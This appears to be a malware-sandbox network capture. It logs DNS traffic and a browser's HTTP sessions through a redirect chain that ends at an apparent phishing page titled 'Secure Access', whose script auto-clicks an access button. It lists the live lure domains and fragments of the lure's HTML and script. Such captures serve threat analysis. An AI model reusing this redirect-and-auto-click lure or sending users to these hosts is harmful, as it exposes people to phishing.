Apr 3, 2025 01:18:37.382128954 CEST	53	51969	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:37.419013977 CEST	53	57570	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:37.419054031 CEST	53	59801	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:37.420634031 CEST	53	60272	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:37.913618088 CEST	53	65123	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:38.383711100 CEST	50757	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:38.383853912 CEST	65223	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:38.487396002 CEST	53	65223	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:38.487485886 CEST	53	50757	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:00.472438097 CEST	53	59455	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:01.235812902 CEST	53	52186	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:01.854197979 CEST	63072	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:01.854509115 CEST	54475	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:01.952541113 CEST	53	54475	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:01.952972889 CEST	53	63072	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:05.064060926 CEST	62705	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:05.064344883 CEST	51137	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:05.185081005 CEST	53	51137	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:05.204946041 CEST	53	62705	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:06.045047998 CEST	53	52663	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:07.717823029 CEST	49193	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:07.717951059 CEST	55462	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:07.718395948 CEST	54411	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:07.718538046 CEST	64382	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:19:07.815471888 CEST	53	54411	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:07.815992117 CEST	53	55462	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:07.816298008 CEST	53	49193	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:07.816456079 CEST	53	64382	1.1.1.1	192.168.2.16
Apr 3, 2025 01:19:13.282977104 CEST	138	138	192.168.2.16	192.168.2.255
Apr 3, 2025 01:19:30.596096039 CEST	53	52857	1.1.1.1	192.168.2.16
Apr 3, 2025 01:20:07.732891083 CEST	50697	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:20:07.733056068 CEST	56303	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:20:07.832027912 CEST	53	56303	1.1.1.1	192.168.2.16
Apr 3, 2025 01:20:07.833764076 CEST	53	50697	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 3, 2025 01:18:13.526402950 CEST	192.168.2.16	1.1.1.1	c230	(Port unreachable)	Destination Unreachable
Apr 3, 2025 01:18:17.561564922 CEST	192.168.2.16	1.1.1.1	c23a	(Port unreachable)	Destination Unreachable
Apr 3, 2025 01:18:33.191740036 CEST	192.168.2.16	1.1.1.1	c241	(Port unreachable)	Destination Unreachable
Apr 3, 2025 01:18:35.424081087 CEST	192.168.2.16	1.1.1.1	c241	(Port unreachable)	Destination Unreachable
Apr 3, 2025 01:18:37.420707941 CEST	192.168.2.16	1.1.1.1	c28d	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Apr 3, 2025 01:18:14.281914949 CEST	539	OUT	GET /api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 3, 2025 01:18:14.558856964 CEST	579	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 02 Apr 2025 23:18:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92a40b538bd52223-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 33 36 33 35 39 30 31 31 36 33 26 61 6d 70 3b 68 61 73 68 3d 33 37 62 35 31 30 36 37 35 63 66 39 64 32 66 32 31 32 63 61 65 66 33 35 37 65 35 62 61 36 63 36 34 62 31 30 62 31 66 34 61 38 66 35 62 37 39 30 30 31 64 65 31 33 36 36 38 64 65 33 33 32 35 62 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b">Moved Permanently</a>.
Apr 3, 2025 01:18:59.572715044 CEST	6	OUT	Data Raw: 00 Data Ascii:
Apr 3, 2025 01:19:44.672924995 CEST	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:02 UTC	681	OUT	GET /10s35o HTTP/1.1 Host: tspice.nevendingwaer.shop Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:03 UTC	1364	IN	HTTP/1.1 302 Found Date: Wed, 02 Apr 2025 23:18:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: undefined-origin Access-Control-Max-Age: 300 Location: https://www.clkmg.com/h4pussy/10s35o P3P: CP="This is not a P3P policy! See https://www.clkmg.com for more info." X-CM-FE: httpfe-0 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jSRX8mqrDlXQKOGH0XWSACj53wbHCZ8ydgVppwU2%2FFSfzlf%2BSqmk2PVa8u1v5EhPxzqNIB98huLrHLHaABM0QiYG7QBI74%2BbvOC%2FQvgcjJ4HwcMnNVAPe%2FAYft0pbNKkrr1wKq8L7WYLw5bc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92a40b0ad9545e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97555&min_rtt=97388&rtt_var=20697&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1253&delivery_rate=38245&cwnd=221&unsent_bytes=0&cid=906ba29cc9d656a7&ts=650&x=0"
2025-04-02 23:18:03 UTC	5	IN	Data Raw: 64 63 0d 0a 3c Data Ascii: dc<
2025-04-02 23:18:03 UTC	221	IN	Data Raw: 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6b 6d 67 2e 63 6f 6d 2f 68 34 70 75 73 73 79 2f 31 30 73 33 35 6f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.clkmg.com/h4pussy/10s35o">here</a>.</p></body></html>
2025-04-02 23:18:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:03 UTC	677	OUT	GET /h4pussy/10s35o HTTP/1.1 Host: www.clkmg.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:03 UTC	1023	IN	HTTP/1.1 302 Found Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: undefined-origin Access-Control-Max-Age: 300 Content-Type: text/html; charset=iso-8859-1 Date: Wed, 02 Apr 2025 23:18:03 GMT Location: https://www.clkmg.com/redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487 P3P: CP="This is not a P3P policy! See https://www.clkmg.com for more info." Server: nginx Set-Cookie: alc=1; domain=.clkmg.com; expires=Wed Apr 2 23:18:08 2025; path=/; Set-Cookie: vid=1158291691; domain=.clkmg.com; expires=Thu Apr 2 23:18:03 2026; path=/; SameSite=None; Secure; X-CM-FE: httpfe-2 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block Content-Length: 346 Connection: Close
2025-04-02 23:18:03 UTC	346	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6b 6d 67 2e 63 6f 6d 2f 72 65 64 69 72 2e 63 67 69 3f 75 72 6c 3d 52 25 32 62 73 64 52 49 41 6b 4a 61 67 5a 53 68 66 38 73 33 50 4f 25 32 66 66 68 50 25 32 66 6b 25 32 62 46 39 58 31 53 4c 4a 47 37 79 4f 32 6a 34 5a 57 25 32 62 75 56 79 56 4c 48 44 41 62 36 52 25 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.clkmg.com/redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:04 UTC	826	OUT	GET /redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487 HTTP/1.1 Host: www.clkmg.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: alc=1; vid=1158291691
2025-04-02 23:18:04 UTC	654	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: undefined-origin Access-Control-Max-Age: 300 Content-Type: text/html; charset=UTF-8 Date: Wed, 02 Apr 2025 23:18:04 GMT P3P: CP="This is not a P3P policy! See http://www.clkmg.com for more info." Server: nginx X-CM-FE: httpfe-0 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block Content-Length: 121 Connection: Close
2025-04-02 23:18:04 UTC	121	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 65 74 72 6f 2e 67 69 74 63 6f 6d 62 75 73 74 2e 73 68 6f 70 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="refresh" content="0; url=https://netro.gitcombust.shop"></head><body></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:05 UTC	690	OUT	GET / HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.clkmg.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:05 UTC	1004	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 92a40b1abed1d826-EWR Server: cloudflare Cf-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Content-Md5: HpRQ9QgNu+gcm1rfSWWkcA== X-Frame-Options: DENY X-Ms-Request-Id: e8bd34bd-401e-004c-1b25-a468d0000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3tbIkd3qYLzwRfeo2nLzGHmi8ZzVrD%2Bt8ZABQqI3d7YUm6gtkL8yKJ2Eofz6sxacYbFmcjdJgegyJrcwYF1rEZYlqWQCzDzT8U80Gymjy9v%2Bo1y6%2FCv3taLF6oRx5Qef1SWNttidMsU%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99982&min_rtt=97171&rtt_var=24724&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1262&delivery_rate=35251&cwnd=243&unsent_bytes=0&cid=e7f5d681ecb676bc&ts=737&x=0"
2025-04-02 23:18:05 UTC	365	IN	Data Raw: 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 65 63 75 72 65 20 41 63 63 65 73 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 20 20 20 Data Ascii: c20<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Access</title> <link rel="stylesheet" href="styles.css"></head><body>
2025-04-02 23:18:05 UTC	1369	IN	Data Raw: 22 6c 6f 67 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 77 69 64 74 68 3d 22 38 30 22 20 68 65 69 67 68 74 3d 22 38 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 32 48 36 43 34 2e 39 20 32 20 34 20 32 2e 39 20 34 20 32 30 43 34 20 32 31 2e 31 20 34 2e 39 20 32 32 20 36 20 32 32 48 31 38 43 31 39 2e 31 20 32 32 20 32 30 20 32 31 2e 31 20 32 30 20 32 30 56 38 4c 31 34 20 32 5a 22 20 66 69 6c 6c 3d 22 23 30 30 37 38 44 34 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "logo"> <svg width="80" height="80" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M14 2H6C4.9 2 4 2.9 4 20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V8L14 2Z" fill="#0078D4"/>
2025-04-02 23:18:05 UTC	1369	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 22 62 6c 6f 63 6b 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 41 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 62 75 74 74 6f 6e 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 73 65 72 76 65 72 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 3b 20 2f 2f 20 53 74 6f 70 20 6f 62 73 65 72 76 69 6e 67 Data Ascii: ); if (accessBtn && accessBtn.style.display === "block") { console.log(" Automatically clicking the button..."); accessBtn.click(); observer.disconnect(); // Stop observing
2025-04-02 23:18:05 UTC	8	IN	Data Raw: 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: tml>
2025-04-02 23:18:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:05 UTC	752	OUT	GET /favicon.ico HTTP/1.1 Host: www.clkmg.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.clkmg.com/redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: alc=1; vid=1158291691
2025-04-02 23:18:05 UTC	693	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: undefined-origin Access-Control-Max-Age: 300 Cache-Control: max-age=2592000 Cache-Control: public, no-transform Content-Type: image/x-icon Date: Wed, 02 Apr 2025 23:18:05 GMT ETag: "6387ce19-4e" Expires: Fri, 02 May 2025 23:18:05 GMT Last-Modified: Wed, 30 Nov 2022 21:41:45 GMT Pragma: public Server: nginx X-Permitted-Cross-Domain-Policies: none Content-Length: 78 Connection: Close
2025-04-02 23:18:05 UTC	78	IN	Data Raw: 00 00 01 00 01 00 01 01 02 00 01 00 01 00 38 00 00 00 16 00 00 00 28 00 00 00 01 00 00 00 02 00 00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Data Ascii: 8(

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:05 UTC	558	OUT	GET /styles.css HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://netro.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:06 UTC	1092	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:06 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close CF-Cache-Status: REVALIDATED Access-Control-Allow-Origin: * Cache-Control: max-age=14400 ETag: W/"0x8DD5D7BE8A31031" Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Vary: Accept-Encoding Content-MD5: XhpBsINOUeRdMYEYdYeySw== X-Frame-Options: DENY x-ms-request-id: 2df89ea3-001e-0062-3746-a23ac7000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uRIJlI2MeUlKw4qGlCaX0o3UuEGxup0XnhjZR%2BvhbuY5Bfj1JhLNaVS4Bao9ErfyEz2NI7L4maoV3DjHzH4OMRIjb7Ooj0molso9ay8%2BZgzPxfNxV%2BR46X1UQ4JZ%2BXFWSiMXpMNEHyI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92a40b1e8c20f5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99043&min_rtt=97569&rtt_var=22797&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1130&delivery_rate=36515&cwnd=239&unsent_bytes=0&cid=95de0a21ea6c38f8&ts=1401&x=0"
2025-04-02 23:18:06 UTC	277	IN	Data Raw: 36 38 35 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b Data Ascii: 685body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f9f9f9;}.container { max-width: 600px; margin: auto; padding: 20px; background: white; border-radius: 8px;
2025-04-02 23:18:06 UTC	1369	IN	Data Raw: 30 70 78 20 31 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 3b 0d 0a 7d 0d 0a 0d 0a 68 31 20 7b 20 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 20 0d 0a 7d 0d 0a 0d 0a 70 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 2f 2a 20 e2 9c 85 20 53 6d 6f 6f 74 68 20 66 61 64 65 2d 6f 75 74 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 